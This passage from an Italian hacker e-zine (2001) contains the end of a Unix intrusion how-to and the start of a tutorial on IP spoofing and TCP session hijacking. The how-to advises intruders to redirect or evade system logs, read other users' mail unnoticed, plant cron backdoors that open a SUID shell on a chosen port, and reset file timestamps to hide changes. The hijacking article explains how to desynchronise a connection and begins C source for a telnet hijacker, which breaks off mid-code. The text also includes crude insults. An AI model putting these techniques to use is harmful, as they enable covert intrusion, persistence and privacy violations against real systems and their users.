|  syslogd COME e dove loggare ogni accesso ecc ... spesso per\'f2 il logging pu\'f2  |\
| avvenire                                                                      |\
|  su macchine diverse da quella che abbiamo hackerato. Se ci\'f2 avvinene         |\
| troverai                                                                      |\
|  nel file /etc/syslog.conf una cosa del genere :                              |\
|                                                                               |\
|  *.*                                    @somehostname.xxx                     |\
|                                                                               |\
|  Vedere il contenuto di syslog.conf \'e8 utile anche per scoprire log che sono   |\
| sfuggiti                                                                      |\
|  al cleaner. Da shell digita :                                                |\
|                                                                               |\
|  # more /etc/syslog.conf                                                      |\
|                                                                               |\
|  Il risulatao sar\'e0 illuminante ... :-))                                       |\
|  Annota soprattutto se info e/o warnign vengono spediti per e-mail al root.   |\
| Dopo di che                                                                   |\
|  spostati nella directory specificata e cerca eventuali ip/host digitando :   |\
|                                                                               |\
|  grep yourhost * | more                                                       |\
|  grep yourip * | more                                                         |\
|                                                                               |\
|  Se vuoi avere un maggior controllo del sistema, puoi modificare il           |\
| contenuto di                                                                  |\
|  syslog.conf e dirottare log/info dove vuoi tu ... ricorda che se il Sys \'e8    |\
| un p\'f2 sveglio                                                                 |\
|  si accorger\'e0 ben presto delle modifiche !                                    |\
|  In ogni caso se decidi di fare ci\'f2 ricorda di killare prima syslogd e di     |\
| riavviarlo dopo                                                               |\
|  aver modificato il contenuto del file syslog.conf.                           |\
|                                                                               |\
|  2) Mail reading : la lettura della posta del sistema che hai bucato puo'     |\
|  esserti MOLTO utile per studiare il tuo nemico e per scoprire nuovi          |\
| segreti.                                                                      |\
|  Ricordati di non leggere MAI la posta con gli appositi programmi di "mail    |\
| reading".                                                                     |\
|  La posta (non letta) la puoi leggere TUTTA nella directory /var/spool/mail.  |\
|  Cerca ppiuttosto un programma mail che non aggiorni i putatori ...           |\
|  In ogno caso le mail gi\'e0 lette puoi trovarle in /root/mail e in ogni         |\
| /user/mail.                                                                   |\
|  [in /var/spool trovi anche trovi non solo la posta degli utenti ma anche le  |\
| code di                                                                       |\
|  stampa, cron, ecc ...]                                                       |\
|                                                                               |\
|  3) Cron table : \'e8 consigliabile prendere in considerazione i cron (in        |\
| /var/spool/cron)                                                              |\
|   per controllare eventuali "bastardate" settate dall'amministratore che      |\
| potrebbero                                                                    |\
|   fregarci ... :->                                                            |\
|   I cron possono essere inoltre utilizzati per settare interessanti           |\
| backdoor.                                                                     |\
|   Un esempio? un cron che attivi uno script, il quale a sua volta mette in    |\
|   ascolto di una porta da noi scelta, una SUID shell a mezzanotte ...         |\
|   Si pu\'f2 anche fare in modo che sia il cron a settare la shell direttamente,  |\
| ma sarebbe                                                                    |\
|   troppo semplice per l'Admin scoprire la backdoor ... ancora meglio se       |\
| modifichiamo                                                                  |\
|   eventuali script dell'amministartore a nostro piacimento, non so se mi      |\
| spiego ! :-)                                                                  |\
|                                                                               |\
|  4) /etc/login.def :  si \'e8 accennato a questo file anche in precedenza , be   |\
| non c'\'e8                                                                       |\
|  da dire molto ... guardatelo perch\'e8 potreste trovare delle sorprese !        |\
|                                                                               |\
|  5) Files INFO : ogni file che andremo a modificare riporter\'e0 la data e       |\
| l'ora della sua                                                               |\
|  ultima modifica ... per essere ancora pi\'f9 invisibili nel sistema bisogna     |\
| annotarsi la data                                                             |\
|  e l'ora di ogni files, e ripristinarla dopo che abbiamo modificato i file    |\
| in questione, con                                                             |\
|  il comando "touch" (man touch). Analogamente bisogna cambiare il gruppo di   |\
| apparteneza dei                                                               |\
|  files che carichiamo nel sistema con il comando "ghgrp".                     |\
|                                                                               |\
|  ::c0nclus10n1::                                                              |\
|                                                                               |\
|  AL termine di questo mini HOWTO, vorrei consigliare di fare mooolta          |\
| attenzione quando si                                                          |\
|  cerca di bucare un sistema unix, perch\'e8 non si \'e8 mai sicuri al %100 di fare  |\
| hacking in                                                                    |\
|  assoluta anonimicit\'e0 ! Fate anche molta attenzione hai sistemi che cercate   |\
| di bucare !                                                                   |\
|  Server di siti molto importanti potrebbero far girare degli IDS (intenet     |\
| Detection System),                                                            |\
|  dei veri e propri figli di PUTTANA sempre pronti a mettervelo nel cul...     |\
|  Buona fortuna ragazzi e mi raccomando moolta (con due o) attenzione !        |\
|                                                                               |\
|  ::s4lut1::                                                                   |\
|                                                                               |\
|  Un grande saluto a tutte le persone che mi hanno aiutato (o meglio a cui ho  |\
| rotto le palle per                                                            |\
|  imparare qualcosa ;-) a tutti gli amici di #TNT, #HX , #hackmaniaci ,        |\
| #preak.it , #isoladeipirati.                                                  |\
|  Infine un grande saluto a  Mr.Wolf , LordMark , wHiTeSnAk , FRANZ , Zero ,   |\
| Tritemius (6 il migliore),                                                    |\
|  SonGoten , LordMirror , bartx , Theli (il cracker olandese) e a tutti gli    |\
| amici della TNT crew !                                                        |\
|                                                                               |\
|  ::FucK::                                                                     |\
|                                                                               |\
|  Un bel VAFFANCULO a tutti i conglioni che sono andati a rompere il cazzo al  |\
| G8 e che le hanno                                                             |\
|  prese di santa ragione !!!  (ahahahhaha)                                     |\
|                                                                               |\
| EOF.                                                                          |\
| +---------------------------------------------------------------------------+ |\
| | c0nt4ct m3 : d3fu@hushmail.com                                            | |\
| |---------------------------------------------------------------------------| |\
| | 1rc  : irc.tin.it #phreak.it - #crack.it - #isoladeipirati                | |\
| |---------------------------------------------------------------------------| |\
| | 1rc2 : irc.azzurra.net #TNT - #hackmaniaci - #HX                          | |\
| +---------------------------------------------------------------------------+ |\
|                                                                               |\
+-------------------------------------------------------------------------------+\
\
\
+-------------------------------------------------------------------------------+\
| ONDAQUADRA ~ [HACKiNG]                                      #04 -  19/11/2001 |\
| Spoofing & Hijacking                                   [CityHunter] 0x07/0x23 |\
+-------------------------------------------------------------------------------+\
|                                                                               |\
| Yo a tutti!Questo \'e8 il mio primo articolo che ho l'onore e l'onere di         |\
| scrivere!                                                                     |\
| Scriver\'f2 certamente cagate(spero il meno possibile...altrimenti che lo        |\
| scrivo a                                                                      |\
| fare?)e siete pregati quindi di mandarmi email con relativi improperi e       |\
| possibil                                                                      |\
| mente aiuti espiegazioni! So che i ringraziamenti andrebbero alla fine, ma    |\
| vista                                                                         |\
| l'importanza che hanno per me e per quel poco che ho appreso in varie ore di  |\
| lettura ho deciso di metterli in cima!                                        |\
| In primis colui che per primo mi ha salutato su #hack e che mi ha dato la     |\
| chioc-                                                                        |\
| ciolina:-) XpTerminator(continua cos\'ec fr\'e0 che vai forte!E voglio la prima     |\
| della                                                                         |\
| tua nuova guida!!)un grandissimo saluto alla splendida Delilah(non ricordo    |\
| dove                                                                          |\
| va la "h"...non te la prendere!!:-))),Marsio e il mitico BIGAlex per le       |\
| chiacchi                                                                      |\
| erate e tutti gli altri che non ricordo in questo momento(vi aggiungo pi\'f9     |\
| tardi!!), ma soprattutto questo art va a FuSyS di BFI che mi inizializzato,   |\
| tramite i suoi progetti, all'arte dello spoofing(di cui,insisto,sono ancora   |\
| uno                                                                           |\
|  studentello!).                                                               |\
| Ok...bando alle ciance e cominciamo col fare qualcosa di concreto!            |\
| Questo \'e8 un art misto tra un how to e soprattutto spiegazioni di quello che   |\
| si                                                                            |\
| trova in rete.Lo scopo finale dell'articolo \'e8 riuscire ad acquisire le        |\
| conoscen-                                                                     |\
| ze atte a creare un telnet hijacker con supporto ethstavo rileggendo ci\'f2 che  |\
| ho scrittofino qui...cazzo che                                                |\
| serio!!!Ho qualcosa che non va oggi:-))                                       |\
| Prima di incominciare con lo spoof \'e8 bene dare un'occhiata ai vari            |\
| protocolli                                                                    |\
| TCP/IP (che ricordoper i super newbies essere un insieme di protocolli e non  |\
| uno                                                                           |\
| solo)!                                                                        |\
|                                                                               |\
| +------------------------------+                                              |\
| |       TCP/IP                 |                                              |\
| +------------------------------+                                              |\
|                                                                               |\
| Far\'f2 una spiegazione abbastanza breve perch\'e8 su questo di roba in giro per    |\
| la                                                                            |\
| rete se ne trova in abbondanza.                                               |\
|                                                                               |\
| IP: \'e8 il protocollo che fornisce un servizio di distribuzione di datagrammi   |\
| inaffidabile.                                                                 |\
| Inaffidabile perch\'e8 non ci \'e8 data la garanzia che ci\'f2 che spediamo arrivi e   |\
| in                                                                            |\
| che ordine(se arriva).Molto importante nel campo dello spoofing \'e8 l'header    |\
| del                                                                           |\
| pacchetto, dove sono contenute le nostre"vitali" informazioni. Non sto qui a  |\
| farvi i vari schemini del caso perch\'e8 ci ha gi\'e0 pernsato in maniera pi- che   |\
| efficente Xp nel numero3 di OndaQuadra e vi rimando a lui(e al progetto       |\
| OnoSendai di Fusys su BFI)(dove tra l'altro questa parte \'e8 decisamente fatta  |\
| meglio di quello che sto scrivendo...ma ripetere cose identiche non mi pare   |\
| il                                                                            |\
| caso...poi passo per copione:-)):-P)                                          |\
|                                                                               |\
| TCP:il nome in s\'8a dovrebbe gi\'85 dirvi a cosa serve...Transmission Control      |\
| Protocol. Bravi!Avete capito...tu?L\'e0 in fondo?Non hai capito...ok...spiego    |\
| per                                                                           |\
| tutti:-) TCP \'e8 ci\'f2 che ci permette di trasferirei nostri file senza perdite   |\
| di                                                                            |\
| dati(cosa che sarebbe molto probabilemente accaduta se avessimo usato solo    |\
| IP),                                                                          |\
| che d\'85 vita ai vari servizi quali Telnet, FTP, Http ecc.(se vi interessa la   |\
| spe-                                                                          |\
| cifica ufficiale \'e8 nell'RFC 793).                                             |\
| Il trasferimento dati avviene in modo bufferizzato, cio\'8a prima di effettuare  |\
| una                                                                           |\
| trsmissione attraverso IP, il TCP attende di aver riempito un'area di         |\
| memoria                                                                       |\
| (buffer appunto) con una quantit\'85 di dati che valga il costo della            |\
| trsmissione:)                                                                 |\
| ...\'e8 anche possibile forzare le trasmissioni...ma non ci riguarda da vicino!  |\
|                                                                               |\
| Qui vi immetto lo schemino perch\'e8 ci torner\'e0 utile in seguito:                |\
|                                                                               |\
|                                                                               |\
| +---------------------------------------------------------------------------- |\
| trsmission+                                                                   |\
| |               |                       |                                     |\
| |                                                                             |\
| | IP Header     |      TCP Header       |          TCP Data                   |\
| |                                                                             |\
| |               |                       |                                     |\
| |                                                                             |\
| +---------------------------------------------------------------------------- |\
| +                                                                             |\
|    Tutti e tre assieme formano il datagramma IP, gli ultimi due(quelli che    |\
| iniziano con TCP per intenderci) il segmento inerente al TCP                  |\
|                                                                               |\
| Qui guardiamo con attenzione il TCP Header:                                   |\
|                                                                               |\
| +---------------------------------------------------------------------------- |\
| in--+                                                                         |\
| |    16 bit per la porta di partenza                                          |\
| |    16 bit per la porta di destinazione                                      |\
| +---------------------------------------------------------------------------- |\
| |                                  32 bit SEQ number                          |\
| |                                                                             |\
| +---------------------------------------------------------------------------- |\
| --+                                                                           |\
| |                                  32 bit ACK number                          |\
|                                                                               |\
| +---------------------------------------------------------------------------- |\
| --+                                                                           |\
| 4 bit     |                                                                   |\
|   |                                                                           |\
| |lunghezza |                       16 bit window size                         |\
|                                                                               |\
| |header    |                                                                  |\
|   |                                                                           |\
| +---------------------------------------------------------------------------- |\
| --+                                                                           |\
| |   16 bit checksum  |                  16 bit urgent pointer                 |\
|   |                                                                           |\
| +---------------------------------------------------------------------------- |\
| --+                                                                           |\
| |                                 option                                      |\
|   |                                                                           |\
| +---------------------------------------------------------------------------- |\
| --+                                                                           |\
| |                                  data                                       |\
|   |                                                                           |\
| +---------------------------------------------------------------------------- |\
| --+                                                                           |\
|                                                                               |\
| Ok...passiamo ad analizzare alcuni campi(quelli che pi\'f9 ci interessano):      |\
| i primi due sono la porta dell'host di partenza e quella di destinazione.     |\
| Ed ora arriviamo a ci\'f2 che pi\'f9 ci interessa(e che pi\'f9 mi spaventava...un      |\
| casino!!!):                                                                   |\
| il SEQ i l'ACK (ricordiamo anche la flag SYN che fa parte del datagramma      |\
| IP...                                                                         |\
| ne parlo come se non fosse importante...mah...\'e8 importantissima cmq!!!)       |\
|                                                                               |\
| SYN sta per SYNchronise, sincronizza i numeri SEQ dei due host;               |\
| ACK sta per ACKnowledge, riconosce i dati inviati dal peer;                   |\
| FIN sta per FINished, l'origine ha terminato la trasmissione dei dati;        |\
| RST sta per ReSeT, rompe la connessione;                                      |\
| ci sarebbero anche PSH(push) e URG(urgent)...ma poi vi stufate di leggere e   |\
| mi                                                                            |\
| mandate le mail con gli improperi!:-)).                                       |\
|                                                                               |\
| Ora,tanto per capire meglio come avviene una connessione TCP/IP vi simulo un  |\
| inizio di connessione:siamo nel nostro bel computerino in casa alle 4 di      |\
| notte                                                                         |\
| (o mattina??...mah...) e decidete di connettervivia telnet alla vostra        |\
| backdoor                                                                      |\
| preferita(in questo caso potrebbe essere una sessione telnet)                 |\
| Voi impersonate l'host A(scegliete...Attacker...Acker senza H....fate         |\
| voi:-))                                                                       |\
| il server sar\'e0 l'host  B(bersaglio?:-))                                       |\
| Aprite il vostro bel telnet e connettetevi...vediamo ci\'f2 che succede nella    |\
| vostra bella connessione (per lo scopo, se volete provare, usatevi un bello   |\
| sniffer tipo TCPDump o cose simili...se ho tempo                              |\
| vi metto un semplice sniffer allegato)(mi spiace...non faccio in              |\
| tempo...devo                                                                  |\
| studiare!Cmq tcpdump dovrebbe esserci in ogni distribuzione...ed \'e8            |\
| sicuramente                                                                   |\
| meglio di quello che vi avrei dato io!!!)                                     |\
|                                                                               |\
| (prima uno schema facile poi quello nel dattaglio)                            |\
|                                                                               |\
|    ---------------syn--------------->         1)                              |\
| A) <----------syn [ack=(isn+1)]------  (B     2)                              |\
|    ---------------[ack=(isn+1)]----->         3)                              |\
|                                                                               |\
| voi cercate di iniziare una connessione con B e gli spedite una bella SYN     |\
| (passo                                                                        |\
| 1) B risponde con la vostra SYN e il suo ACK (uguale all'ISN di A+1...dopo    |\
| questo passo lo spiego meglio)                                                |\
| ed infine A rimanda l'isn di B+1. Che fatica...credo non abbiate capito       |\
| nulla,                                                                        |\
| vero? Ok...ci riprovo con un esempio pi\'f9 pratico:                             |\
|                                                                               |\
| A:190.10.10.1                                                                 |\
| B:190.10.10.2 (li ho usati simili per comodit\'85...non implica che debbano      |\
| essere                                                                        |\
|                 nella stessa subnet)                                          |\
|                                                                               |\
| salto la connessione telnet e arrivo al quid...il 3-WAY HANDSHAKE(applausi    |\
| di                                                                            |\
| sottofondo)                                                                   |\
|                                                                               |\
| 190.10.10.1:69  >190.10.10.2:23   SEQ:1323466780  ACK:0           FLAGS: SYN  |\
| 190.10.10.2:23  >190.10.10.1:69   SEQ:3242354354  ACK:1323466781  FLAGS: SYN  |\
| ACK                                                                           |\
| 190.10.10.1:69  >190.10.10.2:23   SEQ:1323466781  ACK:3242354354  FLAGS: ACK  |\
|                                                                               |\
| dovreste ritrovarvi un po' vero?(ditemi di s\'ec...se no mi scoraggio!:-)))      |\
|                                                                               |\
| Come promesso vi spiego l'ISN di cui non ho ancora parlato. ISN sta per       |\
| initial                                                                       |\
| sequence number.                                                              |\
| Il SEQ di A(primo dato trasmesso) prende anche il nome,appunto,di ISN.        |\
|                                                                               |\
| Ok...mi pare proprio di aver detto tutto riguardo al 3-WH...se non avete      |\
| capito                                                                        |\
| qualcosa...beh..mi spiace per voi ma pi\'f9 di cos\'ec non saprei che dirvi!:-))    |\
|                                                                               |\
| Ora inizia la parte difficile anche per me(sto scrivendo questo articolo      |\
| soprattutto per me...per riordinare le idee)                                  |\
|                                                                               |\
| Vorrei parlare soprattutto di Hijacking quindi salter\'f2 parti importanti come  |\
| lo                                                                            |\
| sniffing... quando avr\'f2 accumulato pi\'f9 info al riguardo ve ne parler\'f2 poi:-)  |\
| Per ora accontentatevi!                                                       |\
|                                                                               |\
| Faccio ancora una piccola digressione per darvi un'infarinatura generale      |\
| sullo                                                                         |\
| spoofing, anche se credo ne sappiate gi\'85 abbastanza...ma si spera sempre di   |\
| colmare qualche piccola lacuna!Ma prima...                                    |\
|                                                                               |\
| DISCLAIMER                                                                    |\
| ==========                                                                    |\
| Questo documento \'e8 stato sviluppato solo per scopo educativo, per             |\
| aiutare a capire le reti, ed aiutare i sysadmin a difendersi da eventuali     |\
| attacchi descritti in questo documento. Di conseguenza l'autore del           |\
| testo non si assume nessuna responsabilit\'e0 su ci\'f2 che venga fatto             |\
| tramite queste informazioni, e non ne incita l'utilizzo per scopi             |\
| fraudolenti.                                                                  |\
|                                                                               |\
| (miseramente rippato dalla guida di Xp...grazie fr\'e0!:-)))(non l'ho messo      |\
| prima                                                                         |\
| perch\'e8 non avevo ancora messo nulla di "compromettente")                      |\
|                                                                               |\
| ledis end gentlemen...                                                        |\
| +--------------------------------------------------------+                    |\
| |                                                        |                    |\
| |                       IP-SPOOFING                      |                    |\
| |                                                        |                    |\
| +--------------------------------------------------------+                    |\
|                                                                               |\
| Per SPOOFING si intende quella tecnica(o insieme di tecniche) atta a          |\
| costruire i                                                                   |\
| propri pacchetti IP con indirizzo di provenienza falso. Immaginate quanto     |\
| questo                                                                        |\
| sia affascinante e utile ai nostri loschi scopi(dimenticavo...\'e8 un            |\
| tutorial...                                                                   |\
| quindi di cose da bimbi cattivi non bisogna parlare, hihihihi).               |\
| Massimo anonimato, possibilit\'e0 di scavalcare firewall(e tanto altro che       |\
| lascio                                                                        |\
| alla vostra immaginazione) ...cosa volete di pi\'f9 dalla vita? Purtroppo tutto  |\
| questo ben di Dio non \'e8 proprio facile facile da ottenere:-(                  |\
| Ma vediamo di distinguere un po' le cose: lo spoofing si divide in vedente e  |\
| cieco(che bravo che sono...ho pure messo la i in cieco:-))                    |\
|                                                                               |\
| Il vedente \'e8 un po' il fratellino minore...quello che che ancora non conosce  |\
| tutti gli angoli della suacasa e deve usare gli occhi per girarla(minchia     |\
| che                                                                           |\
| esempio...cmq avete capito!)                                                  |\
| Un po' pi\'f9 tecnicamente accade questo: abbiamo un bello sniffer installato    |\
| nella                                                                         |\
| rete che vogliamo attaccare e grazie a lui possiamo vedere tutti i SEQ e ACK  |\
| che                                                                           |\
| ci servono per instaurare una connessione cos\'ec                                |\
| facendo siamo in grado di vedere appunto ci\'f2 che accade e i dati che          |\
| riceviamo                                                                     |\
| (da qui "vedente").                                                           |\
|                                                                               |\
| In un attacco cieco invece le grane aumentano parecchio...non vedremmo alcun  |\
| dato tornare indietro(immaginate: impersoniamo il server A e vogliamo         |\
| connetterci a B usando l'indirizzo di C...secondo voi dove vanno i dato che   |\
| B                                                                             |\
| manda?...Bravi!a C...e noi chi siamo? A...quindi?Non vedremo un beneamato     |\
| cazzo)                                                                        |\
| e noi non saremo in grado di conoscere i SEQ e ACK necessari per la           |\
| connessione                                                                   |\
| ...dovremo proprio indovinarli.                                               |\
| Questa parte per\'f2 non l'ho ancora approfondita, quindi noi ci occuperemo di   |\
| una                                                                           |\
| particolare tecnica del vedente:l'Hijacking!!!!!!!!!!(rullo di trombe e       |\
| squilli                                                                       |\
| di tamburi!!!)                                                                |\
|                                                                               |\
| +----------------------------------------------------------+                  |\
| |                                                          |                  |\
| |                        HIJACKING                         |                  |\
| |                                                          |                  |\
| +----------------------------------------------------------+                  |\
|                                                                               |\
| L' Hijacking \'e8 una versione molto interessante dello spoofing vedente.        |\
| Consiste                                                                      |\
| nel dirottamento della connessione in corso e nell'inserimento di dati        |\
| nostri                                                                        |\
| nella connessione che vogliamo attaccare.                                     |\
| Che figata vero?:-)) C'\'e8 da precisare(purtroppo,altrimenti sarebbe il         |\
| paradiso)                                                                     |\
| che questo tipo di spoofing lo si pi\'f9 fare quasi unicamente quando A e        |\
| C(vedi                                                                        |\
| sotto) sono nella stessa sottorete, quindi questo accade solitamente in una   |\
| LAN.                                                                          |\
|                                                                               |\
| Facciamo uno schemino che ormai c'ho preso gusto:-))                          |\
|                                                                               |\
| I giocatori sono i soliti       A(noi)                                        |\
|                                B(bersaglio)                                   |\
|                                 C(cazzone a cui rubiamo la connessione)       |\
|                                                                               |\
| B <---------------------/---------------->C  (hihihihi...poverino)            |\
|                         |                                                     |\
|                         |                                                     |\
|                         /                                                     |\
|                        /                                                      |\
|        A-------------->                                                       |\
|                                                                               |\
| Ok,Ok...piccola spiegazione tecnica: in sostanza B e C entrano nello stato    |\
| ESTABLISHED dopo il 3-WH.                                                     |\
| A questo punto l'attacco funge cos\'ec: A inserisce nella connessione in corso   |\
| tra                                                                           |\
| B e C dei dati                                                                |\
| desincronizzando la connessione legale e alterando la coppia SEQ/ACK del      |\
| server                                                                        |\
| in faccia al client.    \tab \tab \tab \tab \tab \tab \tab |\
| Prima per\'f2 di spiegare come avviene la desincronizzazione c'\'e8 da precisare    |\
| una cosa:per forza di cose,come abbiamo visto sopra, questo attacco si pu\'f2    |\
| fare quasi unicamente via LAN (almeno A e C devo essere nella stessa          |\
| sottorete)quindi occorre mettere l'interfaccia di rete eth in modalit\'e0        |\
| promiscua.Che vuol dire promiscua? Semplice...se non lo facessimo noi non     |\
| vedremmo i dati tornare indietro...in sostanza mettendo in modalit\'e0 promiscua |\
| vedremo tutti i dati che partono e arrivano nella nostra LAN.La funzione che  |\
| lo fa nel codice \'e8 la "ethclose". Se vorrete creare uno sniffer dovete        |\
| assolutamente ricordarvi di mettere la vostra interfaccia in modalit\'e0         |\
| PROMISCUA.                                                                    |\
|\tab \tab \tab \tab \tab \tab \tab \tab \tab \tab |\
|                                                                               |\
| Ok...per desincronizzare B e C come si fa?Pronti...ci sono tre bei metodi:-)  |\
|                                                                               |\
| d1)Quando il server(A) si trova nel punto 2 dello schemino fatto sopra(quello |\
| del                                                                           |\
| TCP/IP) inviamo un bel pacchetto RST(chiaramente fingendo da parte del        |\
| client)e                                                                      |\
| cerchiamo di instaurare una nuova connessione con un nuovo ISN. Il server     |\
| aggiorner\'e0 il suo ACK e cercher\'e0 di rispondere con un nuovo ISN. Noi          |\
| rispondiamo con un ACK all'ISN del server. Cosa succede quindi? Il client(C)  |\
| resta in stato ESTABLISHED ma sar\'e0 scoordinato rispetto al nuovo ISN del      |\
| server                                                                        |\
| (A).                                                                          |\
|                                                                               |\
| 2)(Metodo pi\'f9 grezzo se vogliamo perch\'e8 meno occulto) Inviamo al client dei   |\
| messaggi ICMP del tipo HOST(port)_UNREACH(vedi nuker su IRC) e noi            |\
| allegramente                                                                  |\
| ci impadroniamo della connessione.                                            |\
|                                                                               |\
| 3)(Quello che useremo) A connessione gi\'e0 avvenuta da Client e Server ci       |\
| connettiamo al server (chiaramente con l'IP del client...se no a che          |\
| serve?:-)))                                                                   |\
| incrementando cos\'ec l'ACK del server.Cos\'ec facendo otteniamo la                 |\
| desincronizzazione                                                            |\
|  del client dal server e noi saremo nel flusso della connesisone.             |\
|                                                                               |\
| Ora si aprono due strade...un po' come l'amleto:occultati, o non accultati?   |\
| Questo \'e8 il dilemma!(era l'amleto vero?Che poi mi tiro la zappa sui piedi     |\
| facendo il figo:-)))                                                          |\
| Mo' spiego: se optiamo per la prima scelta dobbiamo smistare i pacchetti      |\
| diretti                                                                       |\
| dal server a noi e diretti al client giusto(man in the middle),               |\
| altrimenti,nella                                                              |\
| seconda ipotesi, lasciamo che il client blocchi la connessione(lasciandolo    |\
| per                                                                           |\
| esempio in FIN_WAIT1.                                                         |\
|                                                                               |\
| Ok...possiamo dire che qui si conclude la parte pi\'f9 teorica(e temo la pi\'f9     |\
| facile                                                                        |\
| ...so gi\'e0 che mi sono cacciato in un bel casino!:-)))e ora ci immergiamo nel  |\
| magico mondo di Polly Pocket...ehm...no...volevo dire della                   |\
| programmazione:D(che                                                          |\
| burlone che sono:-))                                                          |\
|                                                                               |\
| Prima di attaccare vi do i vari testi di riferimento da cui mi sono           |\
| ispirato(e                                                                    |\
| anche rippato...non c'\'e8 nulla di male se si mettono gli autori no?Se          |\
| qualcuno ha                                                                   |\
| da ridire...pasiensa:-)))                                                     |\
| 1) Tutti gli articoli di FuSyS su BFI(numeri 3,4,5 se non ricordo male),in    |\
|    particolar modo i progetti Onosendai;                                      |\
| 2) coder@reptile per il suo testo basilare "A short overview of IP spoofing:  |\
|    Part I";e per i vari codici esplicativi;                                   |\
| 3) LordFelix su BFI2(o 3...non li ho sottomano e non mi ricordo) per il       |\
| tutorial                                                                      |\
|    sulla programmazione dei socket;                                           |\
| 4) Il signore degli anelli...non c'entra molto, ma se non l'avete letto dico  |\
| in                                                                            |\
|    giro che ce l'avete piccolo piccolo e non riuscirete mai ad hackare un     |\
| cazzo;                                                                        |\
|                                                                               |\
| Ok...Fine prima parte!                                                        |\
|                                                                               |\
| +---------------------------------------------------------------+             |\
| |                                                               |             |\
| |                       Hijacking telnet                        |             |\
| |                                                               |             |\
| +---------------------------------------------------------------+             |\
|                                                                               |\
| Qui cercher\'f2 di darvi tutte le spiegazioni inerenti alle varie funzioni del   |\
| nostro codice. Avrei potuto utilizzare l'#include<spoofit.h> di               |\
| coder@reptile...                                                              |\
| ma senza sbattervi non avreste capito una mazza!Cos\'ec c'ho pensato io per      |\
| voi!                                                                          |\
| Allora coraggio,iniziamo la nostra avventura nel codice!                      |\
|                                                                               |\
| -------------se non vuoi sbatterti a ricopiare taglia                         |\
| qui-----------------------                                                    |\
|                                                                               |\
| /**************************************************************************** |\
| * Hjtel.c       Telnet Hijacker di base...non aspettatevi grandi cose!Serve   |\
| *               per darvi un'infarinatura                                     |\
| *               Se avete letto tutto ci\'f2 che sta sopra sapete gi\'e0 come        |\
| *               funziona. Non ho voglia di                                    |\
| *               ripetervi tutto!:-)) Funziona sotto eth...se proprio lo       |\
| *               volete sotto ppp non farete fatica                            |\
| *               a cambiare il codice!                                         |\
| *               I testi a cui mi sono ispirato li ho gi\'e0 elencati.            |\
| *               I ringraziamenti gi\'e0 fatti!:-) Grazie a tutti!                |\
| *               Un'ultima cosa poi comincio(fidatevi...comincio davvero!!)!   |\
| *               Ho sempre sognato di farlo                                    |\
| *               Ora:il tutto \'e8 stato fatto in tre giorni...dalle 2 di         |\
| *               pomeriggio alle 2 di notte:-)                                 |\
| *               Cibo consumato: nulla...gomme per tenere reattiva la mente(e  |\
| *               l'alito...dopo si va dalla tipa:-DD)                          |\
| *                                                                             |\
| *               Musica: in questo momento i motori di GT2 del mio coinquilino |\
| *                       (che saluto e mando...:-)*                            |\
| *                                                                             |\
| *               Altro...??Mi tocca iniziare!:-)))                             |\
| *                                                                             |\
| *                                                                             |\
| *                                                                             |\
| ***************************************************************************** |\
|                                                                               |\
|                                                                               |\
| #include <netdb.h>                                                            |\
| #include <stdlib.h>                                                           |\
| #include <unistd.h>                                                           |\
| #include <stdio.h>                                                            |\
| #include <errno.h>                                                            |\
| #include <netinet/in.h>                                                       |\
| #include <linux/ip.h>     /*include dove sono definite le strutture           |\
| dell'ip...*/                                                                  |\
| #include <linux/if.h>                                                         |\
| #include <sys/ioctl.h>                                                        |\
| #include <sys/types.h>                                                        |\
| #include <signal.h>                                                           |\
| #include <fcntl.h>                                                            |\
|                                                                               |\
| #define MTU                     1500                                          |\
| #define IP_VERSION              4                                             |\
| #define IP_HEAD_BASE            20                                            |\
| #define TCP_HEAD_BASE           20                                            |\
| #define INTERFACE               "ppp0"    /*per Ethernet mettete "eth0"*/     |\
| #define INTERFACE_PREFIX        0        /*sempre per Ethernet mettete 14*/   |\
| #define MY_TOUCH                666                                           |\
| #define URG                     32      /*da URG a FIN sono le TCP            |\
| flags...*/                                                                    |\
|                                   /*dovreste saperlo no?Cmq \'e8 scritto         |\
| sopra*/                                                                       |\
| #define ACK                     16                                            |\
| #define PSH                     8                                             |\
| #define RST                     4                                             |\
| #define SYN                     2                                             |\
| #define FIN                     1                                             |\
|                                                                               |\
| int DEV_PREFIX;                                                               |\
| sig_atomic_t WAIT_PACKET_WAIT_TIME = 0;                                       |\
| int fd_recive, fd_send;                                                       |\
|                                                                               |\
|                                                                               |\
| /* Iniziamo con le nostre belle strutture */                                  |\
|                                                                               |\
| struct wait_packet                                                            |\
| \{                                                                             |\
|         unsigned long seq,ack;                                                |\
|         unsigned short flags;                                                 |\
|         unsigned short source_p,dest_p;                                       |\
|         int datalen;                                                          |\
| \};                                                                            |\
|                                                                               |\
| struct IPhdr                                                                  |\
| \{                                                                             |\
|         unsigned char verlen, type;     /*versione-lunghezza                  |\
| dell'header,tipo*/                                                            |\
|         unsigned short tot_len, ID, flag_offset;/*lunghezza, id,              |\
| flags+offset*/                                                                |\
|         unsigned char TTL, protocol;/*time to live, e il protocollo           |\
| utilizzato*/                                                                  |\
|         unsigned short checksum;                                              |\
|         unsigned long int saddr, daddr;/*indirizzo ip sorgente,ip             |\
| destinazione*/                                                                |\
| \};                                                                            |\
|                                                                               |\
| struct TCPhdr                                                                 |\
| \{                                                                             |\
|         unsigned short source, dest;                                          |\
|         unsigned long int seq, ack_seq;                                       |\
|         unsigned short offset_flag, window, checksum, urgent;                 |\
| \};                                                                            |\
|                                                                               |\
| struct pseudoIP                                                               |\
| \{                                                                             |\
|         unsigned long int source, dest;                                       |\
|         char zero_byte, protocol;                                             |\
|         unsigned short TCP_UDP_len;                                           |\
| \};                                                                            |\
|                                                                               |\
| int if_init(char *device)                                                     |\
| \{                                                                             |\
|     int if_fd;                                                                |\
|     struct ifreq netif;                                                       |\
|     char test;                                                                |\
|     if ((if_fd = socket(AF_INET, SOCK_PACKET, htons(0x3)))==-1) \{             |\
|                /*creazione del nostro raw socket*/                            |\
|           perror("Can't Open PACKET SOCKET.");                                |\
|           exit(1);                                                            |\
|     \}                                                                         |\
|                                                                               |\
|     return if_fd;                                                             |\
| \}                                                                             |\
|                                                                               |\
|  void ethclose()                                                              |\
| \{                                                                             |\
|        struct ifreq eth;                                                      |\
|        strcpy(eth.ifr_ifrn.ifrn_name, INTERFACE);                             |\
|        if ( ioctl(fd_recive, SIOCGIFFLAGS, &eth) < 0) \{                       |\
|                fprintf(stderr, "Can't get Ethernet flags.\\n");                |\
|                exit(1);                                                       |\
|        \}                                                                      |\
|        eth.ifr_ifru.ifru_flags ^= IFF_PROMISC ;                               |\
